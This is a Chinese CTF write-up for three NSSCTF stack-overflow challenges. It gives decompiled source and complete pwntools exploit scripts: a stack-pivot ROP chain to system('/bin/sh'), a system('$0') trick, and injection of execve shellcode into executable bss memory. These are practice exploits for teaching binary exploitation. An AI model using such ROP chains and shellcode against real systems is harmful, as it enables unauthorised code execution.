nssctf writeup 栈
P889 [GFCTF 2021]where_is_shell
知识点:
Rop,栈迁移
https://www.nssctf.cn/problem/889
源码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
system("echo 'zltt lost his shell, can you find it?'");
read(0, buf, 0x38u); //0x28字节的栈溢出
return 0;
}
发现已经有system但是没有/bin/sh字符串,如果要打ret2libc溢出长度也不够(因为只有read函数,pop rsi ,pop r15才能控制rsi),所以考虑栈迁移到bss,需要提前用read向目的处写入
精妙之处在于执行rop时第2次到read后会继续 leave ret来达成满足栈迁移的条件
栈迁移打法:
setoff*b'A'+ p64(fake_addr)+p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572) #0x00400572为main中read的地址
常规rop打system,注意下栈对齐
再次强调栈迁移后(即执行完第2次leave ret后),rsp指向fake_addr+0x10,rip指向fake_addr+0x8处的地址
payload2= b'/bin/sh\\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system'])
Exp:
from pwn import *
p= process('./shell')
#p= remote("node4.anna.nssctf.cn",22386)
context(os='linux',arch='amd64',log_level='debug')
elf=ELF("./shell")
gdb.attach(p)
setoff= 0x10
'''
0x00000000004005e3 : pop rdi ; ret
0x0000000000400430 sys
0x0000000000400416 ret
'''
ret = 0x00400481
fake_addr= 0x601a00
pop_rsi_r15_ret = 0x004005e1
pop_rdi_ret = 0x004005e3
payload = setoff*b'A'+ p64(fake_addr)+p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572)
p.send(payload)
payload2= b'/bin/sh\\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system'])
p.send(payload2)
p.interactive()
找Shell打法
非常的阴,虽然给了tip
字节:0x24 0x30 0x00 0x00
ASCII:'$' '0' '\\x00' '\\x00' //system("$0")执行sh
Exp:
from pwn import *
#p= process('./shell')
p= remote("node4.anna.nssctf.cn",22386)
context(os='linux',arch='amd64',log_level='debug')
#gdb.attach(p)
setoff= 0x10
'''
0x00000000004005e3 : pop rdi ; ret
0x0000000000400430 sys
0x0000000000400416 ret
'''
payload = (setoff+8)*b'A'+p64(0x0000000000400416)+p64(0x00000000004005e3)+p64(0x0400541)+p64(0x0000000000400430)
p.send(payload)
p.interactive()
P2934 [HNCTF 2022 Week1]ret2shellcode
源码分析:
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7);// 0000000000601060
//
puts("Please.");
read(0, &name, 0x25u); // 00000000006010A0
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40u);
return 0;
}
设置了一片可读可写可执行在bss段
我们能够写入的name正好也在,那就栈溢出直接ret2name执行shellcode就行
.bss:00000000006010A0 name db ? ; ; DATA XREF: main+79↑o
Exp:
最经典的24字节shellcode已经够用
from pwn import *
p= remote("node4.anna.nssctf.cn",26571)
context(os='linux',arch='amd64',log_level='debug')
#gdb.attach(p)
shellcode= asm(shellcraft.sh())
shellcode =b"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05"
print(len(shellcode))
payload1= shellcode
p.recvuntil(b"Please.")
p.sendline(payload1)
setoff= 0xA
payload2= (setoff+8)*b"A"+p64(0x00000000006010A0)
p.recvuntil(b"Let's start!")
p.sendline(payload2)
p.interactive()
P3659 [GDOUCTF 2023]Shellcode
源码分析:
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}
很常规,跟P2934一模一样
Exp:
from pwn import *
p= remote("node5.anna.nssctf.cn",22364)
#p= process("./shellcode")
context(os='linux',arch='amd64',log_level='debug')
#gdb.attach(p)
shellcode= asm(shellcraft.sh())
shellcode =b"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05"
print(len(shellcode))
payload1= shellcode+ (0x100+8-len(shellcode))*b'A'+p64(0x00000000004040A0)
p.sendline(payload1)
p.interactive()
nssctf writeup 栈
http://47.100.250.251:8091/archives/nssctf-zhan-wp